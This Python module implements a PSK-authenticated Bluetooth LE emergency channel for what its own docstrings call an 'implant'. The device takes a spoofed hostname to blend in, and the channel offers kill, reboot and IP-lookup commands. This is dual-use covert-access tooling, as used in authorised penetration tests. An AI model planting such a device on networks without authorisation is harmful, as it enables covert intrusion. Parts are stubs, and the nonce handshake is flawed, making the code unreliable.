#!/usr/bin/env python3
"""BLE emergency module — GATT server for local emergency access.

Provides a Bluetooth Low Energy GATT server for last-resort local access
when all network connectivity is lost.  PSK-authenticated commands over
a custom GATT service allow the operator within ~10m to check status,
issue kill commands, reboot, or retrieve the current IP.

Disabled by default — must be explicitly enabled in config.
"""

import hashlib
import hmac
import json
import logging
import os
import secrets
import subprocess
import threading
import time
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger(__name__)

# Custom BLE service/characteristic UUIDs (random, non-standard)
SERVICE_UUID = "bb000001-1337-4000-8000-000000000001"
CMD_CHAR_UUID = "bb000002-1337-4000-8000-000000000002"   # Write: send command
RESP_CHAR_UUID = "bb000003-1337-4000-8000-000000000003"  # Read/Notify: response

# Max BLE MTU for response
BLE_MTU = 512
ADV_TIMEOUT = 0  # 0 = advertise indefinitely


class BLEEmergency(BaseModule):
    """BLE GATT server for emergency local access with PSK auth."""

    name = "ble_emergency"
    module_type = "connectivity"
    priority = -50
    requires_root = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._psk: Optional[str] = None
        self._advertising = False
        self._gatt_thread: Optional[threading.Thread] = None
        self._hci_device = "hci0"
        self._device_name: Optional[str] = None
        self._nonce: Optional[str] = None
        self._authenticated_sessions: set = set()
        self._last_response: str = ""

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        ble_cfg = self.config.get("connectivity", {}).get("ble_emergency", {})

        # Disabled by default
        if not ble_cfg.get("enabled", False):
            logger.info("BLE emergency module disabled (set ble_emergency.enabled=true)")
            self.state.set_module_status(self.name, "disabled",
                                         extra={"reason": "not_enabled"})
            return

        self._psk = ble_cfg.get("psk")
        if not self._psk:
            logger.error("BLE emergency PSK not configured")
            self.state.set_module_status(self.name, "error")
            return

        self._hci_device = ble_cfg.get("hci_device", "hci0")
        self._device_name = ble_cfg.get("device_name")

        # If no device name, try to match MAC profile for consistency
        if not self._device_name:
            mac_hostname = self.state.get(
                "mac_manager", "dhcp_hostname", default=None
            )
            self._device_name = mac_hostname if mac_hostname else "LE-Device"

        if not self._check_bluetooth_available():
            logger.error("Bluetooth hardware not available")
            self.state.set_module_status(self.name, "error")
            return

        if not self.start_gatt():
            self.state.set_module_status(self.name, "error")
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("BLE emergency GATT server active (device: %s)", self._device_name)

    def stop(self) -> None:
        if not self._running:
            return

        self.stop_gatt()
        self._running = False
        self._advertising = False

        self.state.set_module_status(self.name, "stopped")
        logger.info("BLE emergency stopped")

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "advertising": self._advertising,
            "hci_device": self._hci_device,
            "device_name": self._device_name,
            "authenticated_sessions": len(self._authenticated_sessions),
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    def health_check(self) -> bool:
        if not self._running:
            return False
        return self.is_advertising()

    # ------------------------------------------------------------------
    # GATT server operations
    # ------------------------------------------------------------------

    def start_gatt(self) -> bool:
        """Start BLE advertising and GATT server."""
        # Enable BLE adapter
        if not self._enable_adapter():
            return False

        # Set device name
        if not self._set_device_name():
            logger.warning("Could not set BLE device name")

        # Start advertising
        if not self._start_advertising():
            return False

        # Start GATT command listener in background thread
        self._nonce = secrets.token_hex(16)
        self._gatt_thread = threading.Thread(
            target=self._gatt_listen_loop, daemon=True, name="sensor-ble-gatt",
        )
        self._gatt_thread.start()

        self._advertising = True
        return True

    def stop_gatt(self) -> None:
        """Stop GATT server and BLE advertising."""
        self._advertising = False
        self._stop_advertising()

        if self._gatt_thread and self._gatt_thread.is_alive():
            self._gatt_thread.join(timeout=3.0)

        self._authenticated_sessions.clear()

    def is_advertising(self) -> bool:
        """Check if BLE advertising is active."""
        try:
            result = subprocess.run(
                ["hciconfig", self._hci_device],
                capture_output=True, text=True, timeout=5,
            )
            return "UP RUNNING" in result.stdout
        except (subprocess.TimeoutExpired, FileNotFoundError):
            return False

    # ------------------------------------------------------------------
    # BLE adapter management
    # ------------------------------------------------------------------

    def _check_bluetooth_available(self) -> bool:
        """Check if Bluetooth hardware is present."""
        try:
            result = subprocess.run(
                ["hciconfig", self._hci_device],
                capture_output=True, timeout=5,
            )
            return result.returncode == 0
        except (subprocess.TimeoutExpired, FileNotFoundError):
            return False

    def _enable_adapter(self) -> bool:
        """Power on the BLE adapter."""
        try:
            subprocess.run(
                ["hciconfig", self._hci_device, "up"],
                check=True, capture_output=True, timeout=10,
            )
            # Enable LE mode
            subprocess.run(
                ["hciconfig", self._hci_device, "leadv", "0"],
                capture_output=True, timeout=5,
            )
            return True
        except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc:
            logger.error("Failed to enable BLE adapter: %s", exc)
            return False

    def _set_device_name(self) -> bool:
        """Set the BLE device name via bluetoothctl."""
        try:
            proc = subprocess.run(
                ["bluetoothctl", "--", "system-alias", self._device_name],
                capture_output=True, timeout=5,
            )
            return proc.returncode == 0
        except (subprocess.TimeoutExpired, FileNotFoundError):
            return False

    def _start_advertising(self) -> bool:
        """Start BLE advertising."""
        try:
            # Set advertising data
            subprocess.run(
                ["hciconfig", self._hci_device, "leadv", "0"],
                capture_output=True, timeout=5,
            )
            # Also use btmgmt for more control if available
            subprocess.run(
                ["btmgmt", "--index", self._hci_device.replace("hci", ""),
                 "power", "on"],
                capture_output=True, timeout=5,
            )
            subprocess.run(
                ["btmgmt", "--index", self._hci_device.replace("hci", ""),
                 "le", "on"],
                capture_output=True, timeout=5,
            )
            subprocess.run(
                ["btmgmt", "--index", self._hci_device.replace("hci", ""),
                 "connectable", "on"],
                capture_output=True, timeout=5,
            )
            subprocess.run(
                ["btmgmt", "--index", self._hci_device.replace("hci", ""),
                 "advertising", "on"],
                capture_output=True, timeout=5,
            )
            return True
        except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
            return False

    def _stop_advertising(self) -> None:
        """Stop BLE advertising."""
        try:
            subprocess.run(
                ["hciconfig", self._hci_device, "noleadv"],
                capture_output=True, timeout=5,
            )
        except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
            pass

    # ------------------------------------------------------------------
    # GATT command processing
    # ------------------------------------------------------------------

    def _gatt_listen_loop(self) -> None:
        """Listen for GATT characteristic writes via bluetoothctl/gatttool.

        This loop uses a simple file-based IPC approach: commands are written
        to a well-known path by the BLE GATT callback, and this loop processes
        them.  In production, this would use dbus-python to register a proper
        GATT application.
        """
        cmd_fifo = "/tmp/.bb_ble_cmd"
        resp_fifo = "/tmp/.bb_ble_resp"

        # Create FIFOs for IPC
        for fifo in (cmd_fifo, resp_fifo):
            try:
                if os.path.exists(fifo):
                    os.unlink(fifo)
                os.mkfifo(fifo, 0o600)
            except OSError as exc:
                logger.error("Cannot create BLE FIFO %s: %s", fifo, exc)
                return

        logger.debug("BLE GATT listener ready on FIFOs")

        while self._advertising and self._running:
            try:
                # Non-blocking read from command FIFO
                fd = os.open(cmd_fifo, os.O_RDONLY | os.O_NONBLOCK)
                try:
                    data = os.read(fd, 4096)
                finally:
                    os.close(fd)

                if data:
                    cmd_str = data.decode(errors='replace').strip()
                    response = self._process_command(cmd_str)
                    self._last_response = response

                    # Write response to response FIFO
                    try:
                        fd = os.open(resp_fifo, os.O_WRONLY | os.O_NONBLOCK)
                        try:
                            os.write(fd, response.encode()[:BLE_MTU])
                        finally:
                            os.close(fd)
                    except OSError:
                        pass

            except OSError:
                pass  # No data ready

            time.sleep(0.5)

        # Cleanup FIFOs
        for fifo in (cmd_fifo, resp_fifo):
            try:
                os.unlink(fifo)
            except OSError:
                pass

    def _process_command(self, raw_cmd: str) -> str:
        """Process an authenticated BLE command.

        Command format: <hmac_hex>:<command>
        HMAC is computed over: nonce + command using the PSK.
        """
        if ":" not in raw_cmd:
            return '{"error": "invalid format"}'

        provided_hmac, command = raw_cmd.split(":", 1)
        command = command.strip().lower()

        # Verify HMAC
        if not self._verify_hmac(provided_hmac, command):
            logger.warning("BLE auth failed for command: %s", command)
            return '{"error": "auth_failed"}'

        # Rotate nonce after successful auth
        old_nonce = self._nonce
        self._nonce = secrets.token_hex(16)

        # Execute command
        if command == "status":
            return self._cmd_status()
        elif command == "kill":
            return self._cmd_kill()
        elif command == "reboot":
            return self._cmd_reboot()
        elif command == "get_ip":
            return self._cmd_get_ip()
        elif command == "get_nonce":
            # Return new nonce for next command (unauthenticated)
            return json.dumps({"nonce": self._nonce})
        else:
            return json.dumps({"error": "unknown_command", "commands": [
                "status", "kill", "reboot", "get_ip", "get_nonce"
            ]})

    def _verify_hmac(self, provided_hmac: str, command: str) -> bool:
        """Verify HMAC authentication for a BLE command."""
        if not self._psk or not self._nonce:
            return False

        message = f"{self._nonce}:{command}".encode()
        expected = hmac.new(
            self._psk.encode(), message, hashlib.sha256
        ).hexdigest()

        return hmac.compare_digest(provided_hmac.lower(), expected.lower())

    # ------------------------------------------------------------------
    # BLE command handlers
    # ------------------------------------------------------------------

    def _cmd_status(self) -> str:
        """Return implant status summary."""
        status_data = {
            "ok": True,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "nonce": self._nonce,
        }

        # Get connectivity status from state
        all_status = self.state.get_all_module_status()
        connectivity_modules = {}
        for name, info in all_status.items():
            if name in ("wireguard", "tailscale", "cellular_backup"):
                connectivity_modules[name] = info.get("status", "unknown")
        status_data["connectivity"] = connectivity_modules

        return json.dumps(status_data)

    def _cmd_kill(self) -> str:
        """Trigger kill switch via event bus."""
        logger.warning("Kill switch triggered via BLE emergency")
        self.bus.emit("KILL_SWITCH",
                      {"source": "ble_emergency", "reason": "operator_ble_command"},
                      source_module=self.name)
        return json.dumps({"ok": True, "action": "kill_switch_triggered"})

    def _cmd_reboot(self) -> str:
        """Trigger system reboot."""
        logger.warning("Reboot triggered via BLE emergency")

        def _delayed_reboot():
            time.sleep(2.0)
            try:
                subprocess.run(["reboot"], timeout=5)
            except Exception:
                pass

        threading.Thread(target=_delayed_reboot, daemon=True).start()
        return json.dumps({"ok": True, "action": "reboot_in_2s"})

    def _cmd_get_ip(self) -> str:
        """Return all IP addresses on the system."""
        ips = {}
        try:
            result = subprocess.run(
                ["ip", "-4", "-o", "addr", "show"],
                capture_output=True, text=True, timeout=5,
            )
            if result.returncode == 0:
                import re
                for line in result.stdout.strip().splitlines():
                    match = re.search(r'(\S+)\s+inet\s+(\d+\.\d+\.\d+\.\d+)', line)
                    if match:
                        iface = match.group(1)
                        ip = match.group(2)
                        if iface != "lo":
                            ips[iface] = ip
        except (subprocess.TimeoutExpired, FileNotFoundError):
            pass

        return json.dumps({"ips": ips, "nonce": self._nonce})
